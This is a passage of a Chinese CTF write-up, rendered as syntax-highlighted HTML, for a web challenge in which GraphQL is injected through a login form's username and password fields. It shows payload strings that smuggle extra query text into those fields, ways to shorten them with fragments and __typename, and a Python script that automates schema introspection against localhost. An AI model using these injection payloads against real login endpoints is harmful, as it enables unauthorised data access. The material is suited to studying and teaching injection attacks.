<span><span style="color: #D6DEEB">                      }</span></span>
<span><span style="color: #D6DEEB">                    }</span></span>
<span><span style="color: #D6DEEB">                  }</span></span>
<span><span style="color: #D6DEEB">                }</span></span>
<span><span style="color: #D6DEEB">              }</span></span>
<span><span style="color: #D6DEEB">            }</span></span>
<span><span style="color: #D6DEEB">          }</span></span>
<span><span style="color: #D6DEEB">        }</span></span>
<span><span style="color: #D6DEEB">      }</span></span>
<span><span style="color: #D6DEEB">    }</span></span>
<span><span style="color: #D6DEEB">  }</span></span>
<span><span style="color: #D6DEEB">}</span></span></code></pre></div></section>
<p>拿到 schema 之后<span class="mojikumi-line-end">，</span>就可以查询 flag 了<span class="mojikumi-line-end">。</span>利用 <code>login</code> 中的 <code>username</code> 进行回显<span class="mojikumi-line-end">，</span>需要给 <code>ok</code> 和 <code>isAdmin</code> 填东西<span class="mojikumi-line-end">，</span>让 <code>ok</code> 为 truthy<span class="mojikumi-line-end">。</span>如果都查 flag<span class="mojikumi-line-end">，</span>整个询问太长<span class="mojikumi-line-end">，</span>无法通过一开始的 256 长度限制<span class="mojikumi-line-end">，</span>但后来这个限制被放宽了<span class="mojikumi-line-end">，</span>所以就够了<span class="mojikumi-line-end">：</span><code>secret {{ ok: {query} isAdmin: {query} username: {query} }}</code></p>
<p>我有四种询问构造方法可以缩短长度<span class="mojikumi-line-end">：</span></p>
<ul>
<li>
<p>可以使用 <code>__typename</code><span class="mojikumi-line-end">：</span><code>login: secret {{ ok: __typename isAdmin: __typename username: {query} }}</code></p>
</li>
<li>
<p>实际上<span class="mojikumi-line-end">，</span>观察代码可以发现<span class="mojikumi-line-end">，</span>如果缺少 <code>isAdmin</code> 字段<span class="mojikumi-line-end">，</span>虽然会返回<span class="mojikumi-line-start">“</span>登录失败<span class="mojikumi">”</span><span class="mojikumi-line-end">，</span>但此时 <code>session<wbr>['<wbr>username<wbr>']</code> 已赋值<span class="mojikumi-line-end">，</span>可以拿到回显<span class="mojikumi-line-end">，</span>所以不需要 <code>isAdmin</code> 字段<span class="mojikumi-line-end">：</span><code>login: secret {{ ok: {query} username: {query} }}</code></p>
</li>
<li>
<p>可以使用 fragment 把重复的 flag 查询提取出来<span class="mojikumi-line-end">：</span></p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h4 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Python 代码块" data-v-c675dba6>Python</h4><ile-root id="ile-6"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-6--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #994CC3">f</span><span style="color: #C96765">&#39;&#39;&#39;</span></span>
<span><span style="color: #C96765">login: secret </span><span style="color: #AA0982">{{</span></span>
<span><span style="color: #C96765">    ok: secret_</span><span style="color: #4876D6">{</span><span style="color: #403F53">xxx</span><span style="color: #4876D6">}</span><span style="color: #C96765"> </span><span style="color: #AA0982">{{</span><span style="color: #C96765"> ... i </span><span style="color: #AA0982">}}</span></span>
<span><span style="color: #C96765">    isAdmin: secret_</span><span style="color: #4876D6">{</span><span style="color: #403F53">xxx</span><span style="color: #4876D6">}</span><span style="color: #C96765"> </span><span style="color: #AA0982">{{</span><span style="color: #C96765"> ... i </span><span style="color: #AA0982">}}</span></span>
<span><span style="color: #C96765">    username: secret_</span><span style="color: #4876D6">{</span><span style="color: #403F53">xxx</span><span style="color: #4876D6">}</span><span style="color: #C96765"> </span><span style="color: #AA0982">{{</span><span style="color: #C96765"> ... i </span><span style="color: #AA0982">}}</span></span>
<span><span style="color: #C96765">  </span><span style="color: #AA0982">}}</span></span>
<span><span style="color: #C96765">  ... l</span></span>
<span><span style="color: #AA0982">}}</span></span>
<span><span style="color: #C96765">fragment i on Secret_</span><span style="color: #4876D6">{</span><span style="color: #403F53">yyy</span><span style="color: #4876D6">}</span><span style="color: #C96765"> </span><span style="color: #AA0982">{{</span></span>
<span><span style="color: #C96765">  </span><span style="color: #4876D6">{</span><span style="color: #403F53">inner_query</span><span style="color: #4876D6">}</span></span>
<span><span style="color: #AA0982">}}</span></span>
<span><span style="color: #C96765">fragment l on Query </span><span style="color: #AA0982">{{</span></span>
<span><span style="color: #C96765">    x: #&#39;&#39;&#39;</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #C792EA">f</span><span style="color: #ECC48D">&#39;&#39;&#39;</span></span>
<span><span style="color: #ECC48D">login: secret </span><span style="color: #F78C6C">{{</span></span>
<span><span style="color: #ECC48D">    ok: secret_</span><span style="color: #82AAFF">{</span><span style="color: #D6DEEB">xxx</span><span style="color: #82AAFF">}</span><span style="color: #ECC48D"> </span><span style="color: #F78C6C">{{</span><span style="color: #ECC48D"> ... i </span><span style="color: #F78C6C">}}</span></span>
<span><span style="color: #ECC48D">    isAdmin: secret_</span><span style="color: #82AAFF">{</span><span style="color: #D6DEEB">xxx</span><span style="color: #82AAFF">}</span><span style="color: #ECC48D"> </span><span style="color: #F78C6C">{{</span><span style="color: #ECC48D"> ... i </span><span style="color: #F78C6C">}}</span></span>
<span><span style="color: #ECC48D">    username: secret_</span><span style="color: #82AAFF">{</span><span style="color: #D6DEEB">xxx</span><span style="color: #82AAFF">}</span><span style="color: #ECC48D"> </span><span style="color: #F78C6C">{{</span><span style="color: #ECC48D"> ... i </span><span style="color: #F78C6C">}}</span></span>
<span><span style="color: #ECC48D">  </span><span style="color: #F78C6C">}}</span></span>
<span><span style="color: #ECC48D">  ... l</span></span>
<span><span style="color: #F78C6C">}}</span></span>
<span><span style="color: #ECC48D">fragment i on Secret_</span><span style="color: #82AAFF">{</span><span style="color: #D6DEEB">yyy</span><span style="color: #82AAFF">}</span><span style="color: #ECC48D"> </span><span style="color: #F78C6C">{{</span></span>
<span><span style="color: #ECC48D">  </span><span style="color: #82AAFF">{</span><span style="color: #D6DEEB">inner_query</span><span style="color: #82AAFF">}</span></span>
<span><span style="color: #F78C6C">}}</span></span>
<span><span style="color: #ECC48D">fragment l on Query </span><span style="color: #F78C6C">{{</span></span>
<span><span style="color: #ECC48D">    x: #&#39;&#39;&#39;</span></span></code></pre></div></section>
</li>
<li>
<p>还可以找到最浅的叶子节点<span class="mojikumi-line-start">（</span>scalar value<span class="mojikumi-line-end">）</span>代替 flag 放到 <code>ok</code> 和 <code>isAdmin</code><span class="mojikumi-line-end">。</span>根据 schema 的随机生成方式<span class="mojikumi-line-end">，</span>有 94% 的概率<span class="mojikumi-line-start">（</span>没算错的话<span class="mojikumi-line-end">）</span>payload 长度能在 256 以内<span class="mojikumi-line-end">；</span>如果你非常不幸<span class="mojikumi-line-end">，</span>可以重开题目<span class="mojikumi-line-end">。</span></p>
</li>
</ul>
<p>除了上面这些查询构造方法<span class="mojikumi-line-end">，</span>还可以在发送 payload 时同时利用 <code>username</code> 和 <code>password</code><span class="mojikumi-line-end">，</span>只不过由于 <code>username</code> 长度限制太小<span class="mojikumi-line-end">，</span>这个优化效果不大<span class="mojikumi-line-end">：</span><code>username</code> 填 <code>",$<wbr>password<wbr>:<wbr>String<wbr>=""){<wbr>login<wbr>:#</code><span class="mojikumi-line-end">，</span><code>password</code> 填 <code>\<wbr>n<wbr>{<wbr>payload<wbr>}<wbr>x<wbr>:#</code><span class="mojikumi-line-end">，</span>可以省下 <code>){login:</code><span class="mojikumi-line-end">。</span>另外<span class="mojikumi-line-end">，</span>把 object 放前面 scalar 放后面可以利用大括号省去一个空格<span class="mojikumi-line-end">。</span></p>
<p>但这些都是我在开赛后发现有人被卡长度才想到的<span class="mojikumi-line-end">，</span>一开始根本没意识到这里会卡住<span class="mojikumi-line-start">（</span></p>
<p>完整脚本<span class="mojikumi-line-start">（</span>这个是纯自动的<span class="mojikumi-line-end">，</span>包含上面提到的各种做法<span class="mojikumi-line-end">，</span>实际做不需要纯自动<span class="mojikumi-line-end">，</span>比如可以手动得到 flag 询问路径<span class="mojikumi">）</span><span class="mojikumi-line-end">：</span></p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h4 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Python 代码块" data-v-c675dba6>Python</h4><ile-root id="ile-7"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-7--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #994CC3">from</span><span style="color: #403F53"> ast </span><span style="color: #994CC3">import</span><span style="color: #403F53"> literal_eval</span></span>
<span><span style="color: #994CC3">from</span><span style="color: #403F53"> html </span><span style="color: #994CC3">import</span><span style="color: #403F53"> unescape</span></span>
<span><span style="color: #994CC3">from</span><span style="color: #403F53"> http.cookies </span><span style="color: #994CC3">import</span><span style="color: #403F53"> SimpleCookie</span></span>
<span><span style="color: #994CC3">import</span><span style="color: #403F53"> os</span></span>
<span><span style="color: #994CC3">import</span><span style="color: #403F53"> re</span></span>
<span><span style="color: #994CC3">import</span><span style="color: #403F53"> requests</span></span>
<span><span style="color: #994CC3">import</span><span style="color: #403F53"> secrets</span></span>
<span></span>
<span><span style="color: #4876D6">URL</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> os.environ.</span><span style="color: #0C969B">get</span><span style="color: #403F53">(</span><span style="color: #111111">&#39;</span><span style="color: #C96765">URL</span><span style="color: #111111">&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765">http://localhost:5000</span><span style="color: #111111">&#39;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #4876D6">COOKIE</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> os.environ.</span><span style="color: #0C969B">get</span><span style="color: #403F53">(</span><span style="color: #111111">&#39;</span><span style="color: #C96765">COOKIE</span><span style="color: #111111">&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #111111">&#39;&#39;</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #403F53">cookie </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">SimpleCookie</span><span style="color: #403F53">()</span></span>
<span><span style="color: #403F53">cookie.</span><span style="color: #0C969B">load</span><span style="color: #403F53">(</span><span style="color: #4876D6">COOKIE</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">session </span><span style="color: #994CC3">=</span><span style="color: #403F53"> requests.</span><span style="color: #0C969B">Session</span><span style="color: #403F53">()</span></span>
<span><span style="color: #403F53">session.cookies.</span><span style="color: #0C969B">update</span><span style="color: #403F53">(</span><span style="color: #4876D6">{k: v.value </span><span style="color: #994CC3">for</span><span style="color: #4876D6"> k, v </span><span style="color: #994CC3">in</span><span style="color: #4876D6"> cookie.</span><span style="color: #0C969B">items</span><span style="color: #403F53">()</span><span style="color: #4876D6">}</span><span style="color: #403F53">)</span></span>
<span></span>
<span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">register</span><span style="color: #111111">(</span><span style="color: #0C969B">username</span><span style="color: #403F53">, </span><span style="color: #0C969B">password</span><span style="color: #111111">)</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    res </span><span style="color: #994CC3">=</span><span style="color: #403F53"> session.</span><span style="color: #0C969B">post</span><span style="color: #403F53">(</span></span>
<span><span style="color: #4876D6">        </span><span style="color: #994CC3">f</span><span style="color: #C96765">&#39;</span><span style="color: #4876D6">{URL}</span><span style="color: #C96765">/register&#39;</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">        </span><span style="color: #403F53">data</span><span style="color: #994CC3">=</span><span style="color: #4876D6">{</span><span style="color: #111111">&#39;</span><span style="color: #C96765">username</span><span style="color: #111111">&#39;</span><span style="color: #4876D6">: username, </span><span style="color: #111111">&#39;</span><span style="color: #C96765">password</span><span style="color: #111111">&#39;</span><span style="color: #4876D6">: password}</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    res.</span><span style="color: #0C969B">raise_for_status</span><span style="color: #403F53">()</span></span>
<span></span>
<span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">login</span><span style="color: #111111">(</span><span style="color: #0C969B">username</span><span style="color: #403F53">, </span><span style="color: #0C969B">password</span><span style="color: #111111">)</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">print</span><span style="color: #403F53">(</span><span style="color: #994CC3">f</span><span style="color: #C96765">&#39;</span><span style="color: #4876D6">{username = }</span><span style="color: #C96765">&#39;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">print</span><span style="color: #403F53">(</span><span style="color: #994CC3">f</span><span style="color: #C96765">&#39;</span><span style="color: #4876D6">{password = }</span><span style="color: #C96765">&#39;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    res </span><span style="color: #994CC3">=</span><span style="color: #403F53"> session.</span><span style="color: #0C969B">post</span><span style="color: #403F53">(</span></span>
<span><span style="color: #4876D6">        </span><span style="color: #994CC3">f</span><span style="color: #C96765">&#39;</span><span style="color: #4876D6">{URL}</span><span style="color: #C96765">/login&#39;</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">        </span><span style="color: #403F53">data</span><span style="color: #994CC3">=</span><span style="color: #4876D6">{</span><span style="color: #111111">&#39;</span><span style="color: #C96765">username</span><span style="color: #111111">&#39;</span><span style="color: #4876D6">: username, </span><span style="color: #111111">&#39;</span><span style="color: #C96765">password</span><span style="color: #111111">&#39;</span><span style="color: #4876D6">: password}</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    res.</span><span style="color: #0C969B">raise_for_status</span><span style="color: #403F53">()</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">return</span><span style="color: #403F53"> res.text</span></span>
<span></span>
<span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">sol1</span><span style="color: #111111">()</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    username </span><span style="color: #994CC3">=</span><span style="color: #403F53"> secrets.</span><span style="color: #0C969B">token_hex</span><span style="color: #403F53">(</span><span style="color: #AA0982">16</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    password </span><span style="color: #994CC3">=</span><span style="color: #403F53"> secrets.</span><span style="color: #0C969B">token_hex</span><span style="color: #403F53">(</span><span style="color: #AA0982">16</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    </span><span style="color: #0C969B">register</span><span style="color: #403F53">(</span><span style="color: #4876D6">username</span><span style="color: #111111">,</span><span style="color: #4876D6"> password</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #403F53">    payload </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #994CC3">f</span><span style="color: #C96765">&#39;&#39;&#39;</span><span style="color: #4876D6">{</span><span style="color: #403F53">password</span><span style="color: #4876D6">}</span><span style="color: #C96765">&quot;) </span><span style="color: #AA0982">{{</span></span>
<span><span style="color: #C96765">    login(username: $username, password: $password) </span><span style="color: #AA0982">{{</span></span>
<span><span style="color: #C96765">      ok</span></span>
<span><span style="color: #C96765">      isAdmin: ok</span></span>
<span><span style="color: #C96765">      username</span></span>
<span><span style="color: #C96765">    </span><span style="color: #AA0982">}}</span></span>
<span><span style="color: #C96765">    originalQuery:</span></span>
<span><span style="color: #C96765">    #&#39;&#39;&#39;</span></span>
<span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">print</span><span style="color: #403F53">(</span><span style="color: #0C969B">login</span><span style="color: #403F53">(</span><span style="color: #4876D6">username</span><span style="color: #111111">,</span><span style="color: #4876D6"> payload</span><span style="color: #403F53">))</span></span>
<span></span>
<span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">send</span><span style="color: #111111">(</span><span style="color: #0C969B">payload</span><span style="color: #403F53">: </span><span style="color: #4876D6">str</span><span style="color: #111111">)</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    payload </span><span style="color: #994CC3">=</span><span style="color: #403F53"> re.</span><span style="color: #0C969B">sub</span><span style="color: #403F53">(</span><span style="color: #994CC3">r</span><span style="color: #111111">&quot;</span><span style="color: #5CA7E4">\s</span><span style="color: #0C969B">+</span><span style="color: #111111">&quot;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765"> </span><span style="color: #111111">&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> payload</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    payload </span><span style="color: #994CC3">=</span><span style="color: #403F53"> re.</span><span style="color: #0C969B">sub</span><span style="color: #403F53">(</span><span style="color: #994CC3">r</span><span style="color: #111111">&quot;</span><span style="color: #5CA7E4">^ </span><span style="color: #0C969B">|</span><span style="color: #5CA7E4"> $</span><span style="color: #0C969B">|(?&lt;=</span><span style="color: #5CA7E4">\W</span><span style="color: #0C969B">)</span><span style="color: #5CA7E4"> </span><span style="color: #0C969B">|</span><span style="color: #5CA7E4"> </span><span style="color: #0C969B">(?=</span><span style="color: #5CA7E4">\W</span><span style="color: #0C969B">)</span><span style="color: #111111">&quot;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #111111">&#39;&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> payload</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    </span><span style="color: #989FB1"># res = login(&#39;x&#39;, f&#39;&quot;){{login:{payload}x:#&#39;)</span></span>
<span><span style="color: #403F53">    res </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">login</span><span style="color: #403F53">(</span><span style="color: #111111">&#39;</span><span style="color: #C96765">&quot;,$password:String=&quot;&quot;){login:#</span><span style="color: #111111">&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #994CC3">f</span><span style="color: #C96765">&#39;</span><span style="color: #AA0982">\n</span><span style="color: #4876D6">{payload}</span><span style="color: #C96765">x:#&#39;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    username </span><span style="color: #994CC3">=</span><span style="color: #403F53"> re.</span><span style="color: #0C969B">search</span><span style="color: #403F53">(</span><span style="color: #994CC3">r</span><span style="color: #111111">&#39;</span><span style="color: #5CA7E4">用户名&lt;/strong&gt;\s</span><span style="color: #0C969B">*</span><span style="color: #5CA7E4">&lt;div&gt;(.</span><span style="color: #0C969B">*?</span><span style="color: #5CA7E4">)&lt;/div&gt;</span><span style="color: #111111">&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> res</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">assert</span><span style="color: #403F53"> username </span><span style="color: #994CC3">is</span><span style="color: #403F53"> </span><span style="color: #994CC3">not</span><span style="color: #403F53"> </span><span style="color: #BC5454">None</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">return</span><span style="color: #403F53"> </span><span style="color: #0C969B">literal_eval</span><span style="color: #403F53">(</span><span style="color: #0C969B">unescape</span><span style="color: #403F53">(</span><span style="color: #4876D6">username.</span><span style="color: #0C969B">group</span><span style="color: #403F53">(</span><span style="color: #AA0982">1</span><span style="color: #403F53">)))</span></span>
<span></span>
<span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">introspection1</span><span style="color: #111111">()</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    introspection </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #111111">&#39;&#39;&#39;</span></span>
<span><span style="color: #C96765">    __schema {</span></span>
<span><span style="color: #C96765">      ok: __typename</span></span>
<span><span style="color: #C96765">      username: types {</span></span>
<span><span style="color: #C96765">        name</span></span>
<span><span style="color: #C96765">        fields {</span></span>
<span><span style="color: #C96765">          name</span></span>
<span><span style="color: #C96765">          type {</span></span>
<span><span style="color: #C96765">            name</span></span>
<span><span style="color: #C96765">          }</span></span>
<span><span style="color: #C96765">        }</span></span>
<span><span style="color: #C96765">      }</span></span>
<span><span style="color: #C96765">    }</span></span>
<span><span style="color: #C96765">    </span><span style="color: #111111">&#39;&#39;&#39;</span></span>
<span></span>
<span><span style="color: #403F53">    fields </span><span style="color: #994CC3">=</span><span style="color: #403F53"> {}</span></span>
<span></span>
<span><span style="color: #403F53">    types </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">send</span><span style="color: #403F53">(</span><span style="color: #4876D6">introspection</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">for</span><span style="color: #403F53"> t </span><span style="color: #994CC3">in</span><span style="color: #403F53"> types:</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">if</span><span style="color: #403F53"> t.</span><span style="color: #0C969B">get</span><span style="color: #403F53">(</span><span style="color: #111111">&#39;</span><span style="color: #C96765">fields</span><span style="color: #111111">&#39;</span><span style="color: #403F53">) </span><span style="color: #994CC3">is</span><span style="color: #403F53"> </span><span style="color: #BC5454">None</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">            </span><span style="color: #994CC3">continue</span></span>
<span><span style="color: #403F53">        fields[t[</span><span style="color: #111111">&#39;</span><span style="color: #C96765">name</span><span style="color: #111111">&#39;</span><span style="color: #403F53">]] </span><span style="color: #994CC3">=</span><span style="color: #403F53"> {}</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">for</span><span style="color: #403F53"> f </span><span style="color: #994CC3">in</span><span style="color: #403F53"> t[</span><span style="color: #111111">&#39;</span><span style="color: #C96765">fields</span><span style="color: #111111">&#39;</span><span style="color: #403F53">]:</span></span>
<span><span style="color: #403F53">            fields[t[</span><span style="color: #111111">&#39;</span><span style="color: #C96765">name</span><span style="color: #111111">&#39;</span><span style="color: #403F53">]]</span><span style="color: #111111">[</span><span style="color: #403F53">f[</span><span style="color: #111111">&#39;</span><span style="color: #C96765">name</span><span style="color: #111111">&#39;</span><span style="color: #403F53">]</span><span style="color: #111111">]</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> f[</span><span style="color: #111111">&#39;</span><span style="color: #C96765">type</span><span style="color: #111111">&#39;</span><span style="color: #403F53">]</span><span style="color: #111111">[</span><span style="color: #111111">&#39;</span><span style="color: #C96765">name</span><span style="color: #111111">&#39;</span><span style="color: #111111">]</span></span>
<span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">return</span><span style="color: #403F53"> fields</span></span>
<span></span>
<span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">introspection2</span><span style="color: #111111">()</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    introspection </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #111111">&#39;&#39;&#39;</span></span>
<span><span style="color: #C96765">    __type(name: &quot;Secret&quot;) {</span></span>
<span><span style="color: #C96765">      ok: name</span></span>
<span><span style="color: #C96765">      username: fields {</span></span>
<span><span style="color: #C96765">        name</span></span>
<span><span style="color: #C96765">        type {</span></span>
<span><span style="color: #C96765">          name</span></span>
<span><span style="color: #C96765">          fields {</span></span>
<span><span style="color: #C96765">            name</span></span>
<span><span style="color: #C96765">            type {</span></span>
<span><span style="color: #C96765">              name</span></span>
<span><span style="color: #C96765">              fields {</span></span>
<span><span style="color: #C96765">                name</span></span>
<span><span style="color: #C96765">                type {</span></span>
<span><span style="color: #C96765">                  name</span></span>
<span><span style="color: #C96765">                  fields {</span></span>
<span><span style="color: #C96765">                    name</span></span>
<span><span style="color: #C96765">                    type {</span></span>
<span><span style="color: #C96765">                      name</span></span>
<span><span style="color: #C96765">                      fields {</span></span>
<span><span style="color: #C96765">                        name</span></span>
<span><span style="color: #C96765">                        type {</span></span>
<span><span style="color: #C96765">                          name</span></span>
<span><span style="color: #C96765">                          fields {</span></span>
<span><span style="color: #C96765">                            name</span></span>
<span><span style="color: #C96765">                            type {</span></span>
<span><span style="color: #C96765">                              name</span></span>
<span><span style="color: #C96765">                              fields {</span></span>
<span><span style="color: #C96765">                                name</span></span>
<span><span style="color: #C96765">                                type {</span></span>
<span><span style="color: #C96765">                                  name</span></span>
<span><span style="color: #C96765">                                  fields {</span></span>
<span><span style="color: #C96765">                                    name</span></span>
<span><span style="color: #C96765">                                    type { name }</span></span>
<span><span style="color: #C96765">                                  }</span></span>
<span><span style="color: #C96765">                                }</span></span>
<span><span style="color: #C96765">                              }</span></span>
<span><span style="color: #C96765">                            }</span></span>
<span><span style="color: #C96765">                          }</span></span>
<span><span style="color: #C96765">                        }</span></span>
<span><span style="color: #C96765">                      }</span></span>
<span><span style="color: #C96765">                    }</span></span>
<span><span style="color: #C96765">                  }</span></span>
<span><span style="color: #C96765">                }</span></span>
<span><span style="color: #C96765">              }</span></span>
<span><span style="color: #C96765">            }</span></span>
<span><span style="color: #C96765">          }</span></span>
<span><span style="color: #C96765">        }</span></span>
<span><span style="color: #C96765">      }</span></span>
<span><span style="color: #C96765">    }</span></span>
<span><span style="color: #C96765">    </span><span style="color: #111111">&#39;&#39;&#39;</span></span>
<span></span>
<span><span style="color: #403F53">    secret_fields </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">send</span><span style="color: #403F53">(</span><span style="color: #4876D6">introspection</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #403F53">    fields </span><span style="color: #994CC3">=</span><span style="color: #403F53"> {}</span></span>
<span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">dfs</span><span style="color: #111111">(</span><span style="color: #0C969B">u</span><span style="color: #111111">)</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">if</span><span style="color: #403F53"> u[</span><span style="color: #111111">&#39;</span><span style="color: #C96765">name</span><span style="color: #111111">&#39;</span><span style="color: #403F53">] </span><span style="color: #994CC3">in</span><span style="color: #403F53"> fields </span><span style="color: #994CC3">or</span><span style="color: #403F53"> u.</span><span style="color: #0C969B">get</span><span style="color: #403F53">(</span><span style="color: #111111">&#39;</span><span style="color: #C96765">fields</span><span style="color: #111111">&#39;</span><span style="color: #403F53">) </span><span style="color: #994CC3">is</span><span style="color: #403F53"> </span><span style="color: #BC5454">None</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">            </span><span style="color: #994CC3">return</span></span>
<span><span style="color: #403F53">        fields[u[</span><span style="color: #111111">&#39;</span><span style="color: #C96765">name</span><span style="color: #111111">&#39;</span><span style="color: #403F53">]] </span><span style="color: #994CC3">=</span><span style="color: #403F53"> {}</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">for</span><span style="color: #403F53"> f </span><span style="color: #994CC3">in</span><span style="color: #403F53"> u[</span><span style="color: #111111">&#39;</span><span style="color: #C96765">fields</span><span style="color: #111111">&#39;</span><span style="color: #403F53">]:</span></span>
<span><span style="color: #403F53">            fields[u[</span><span style="color: #111111">&#39;</span><span style="color: #C96765">name</span><span style="color: #111111">&#39;</span><span style="color: #403F53">]]</span><span style="color: #111111">[</span><span style="color: #403F53">f[</span><span style="color: #111111">&#39;</span><span style="color: #C96765">name</span><span style="color: #111111">&#39;</span><span style="color: #403F53">]</span><span style="color: #111111">]</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> f[</span><span style="color: #111111">&#39;</span><span style="color: #C96765">type</span><span style="color: #111111">&#39;</span><span style="color: #403F53">]</span><span style="color: #111111">[</span><span style="color: #111111">&#39;</span><span style="color: #C96765">name</span><span style="color: #111111">&#39;</span><span style="color: #111111">]</span></span>
<span><span style="color: #403F53">            </span><span style="color: #0C969B">dfs</span><span style="color: #403F53">(</span><span style="color: #4876D6">f</span><span style="color: #403F53">[</span><span style="color: #111111">&#39;</span><span style="color: #C96765">type</span><span style="color: #111111">&#39;</span><span style="color: #403F53">])</span></span>
<span></span>
<span><span style="color: #403F53">    </span><span style="color: #0C969B">dfs</span><span style="color: #403F53">(</span><span style="color: #4876D6">{</span><span style="color: #111111">&#39;</span><span style="color: #C96765">name</span><span style="color: #111111">&#39;</span><span style="color: #4876D6">: </span><span style="color: #111111">&#39;</span><span style="color: #C96765">Secret</span><span style="color: #111111">&#39;</span><span style="color: #4876D6">, </span><span style="color: #111111">&#39;</span><span style="color: #C96765">fields</span><span style="color: #111111">&#39;</span><span style="color: #4876D6">: secret_fields}</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">return</span><span style="color: #403F53"> fields</span></span>
<span></span>
<span></span>
